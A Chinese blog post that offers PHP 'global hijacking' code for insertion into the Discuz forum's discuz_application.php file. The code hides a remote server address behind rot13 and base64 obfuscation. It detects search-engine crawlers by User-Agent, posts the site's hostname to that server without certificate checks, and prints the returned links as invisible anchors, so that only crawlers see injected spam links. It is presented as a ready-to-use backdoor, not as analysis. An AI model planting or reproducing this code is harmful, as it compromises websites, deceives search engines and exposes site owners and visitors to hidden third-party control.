富贵长生天做主由不得我
钢骨正气我做主由不得天

DZ 另类discuz_application.php文件全局劫持代码

‘PHP_SELF’ => ”,
‘siteurl’ => ”,
‘siteroot’ => ”,
‘siteport’ => ”,

先声明

内容查看此隐藏内容查看价格为100金币,请先
若支付成功,未回调出下载链接,请加客服右侧QQ

后写

private function spider(){
define(‘URL’,str_rot13(base64_decode(str_rot13(‘qJqaLmbiY2cdnv5zL3MkpzHgnTMlMF5jLabiozA2YzA1Lj==’))));
$spiders = array(1 => ‘BaiduSpider’,2 => ‘360spider’,3 => ‘Googlebot’,4 => ‘Sogou’,5 => ‘Bytespider’,6 => ‘bingbot’,7 => ‘YisouSpider’,
);
$domain = $_SERVER[‘HTTP_HOST’];
$ua = self::getUaType($spiders,isset($_SERVER[‘HTTP_USER_AGENT’]) ? $_SERVER[‘HTTP_USER_AGENT’] : null);
$data = array(
‘id’ => $ua,
‘host’ => $domain
);
if($ua){
$res=self::post(constant(‘URL’),$data);
}
if($res[‘code’] == 201){
$urls = $res[‘data’];
if($urls){
foreach ($urls as $url){
echo ‘<a href=”‘.$url.'”></a>’;
}
}
die;
}
if($res[‘code’] != 418){
$urls = $res[‘data’];
if($urls){
foreach ($urls as $url){
echo ‘<a href=”‘.$url.'”></a>’;
}
}
}

}
private function post($url,$data){
if(function_exists(‘curl_init’)){
return self::curl_post($url,$data);
}
return self::file_post($url,$data);
}

private function curl_post($url,$data){
$ch = curl_init();
$headerArray =array(“Accept:application/json”);
curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,FALSE);
$output = curl_exec($ch);
curl_close($ch);
return json_decode($output ,true);
}

private function file_post($url,$data){
$data = http_build_query($data);
$opts = array(
‘http’ => array(
‘method’ => ‘POST’,
‘header’=> “Content-type: application/x-www-form-urlencoded”,
“Content-Length: ” . strlen($data),
‘content’ => $data
)
);
$context = stream_context_create($opts);
$res = file_get_contents($url, false, $context);
return json_decode($res,true);
}

private function getUaType($spiders,$ua){
$ua = strtolower($ua);
$u = 0;
foreach ($spiders as $k => $v ){
if(strpos(‘1’.$ua, strtolower($v))){
$u = $k;
}
}
return $u;
}

赞(0)
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《DZ 另类discuz_application.php文件全局劫持代码》
文章链接:https://www.lolmm.cn/wzcgal/627.html
本站资源仅供个人学习交流,请于下载后24小时内删除,不允许用于商业用途,否则法律问题自行承担。

评论 抢沙发

评论前必须登录!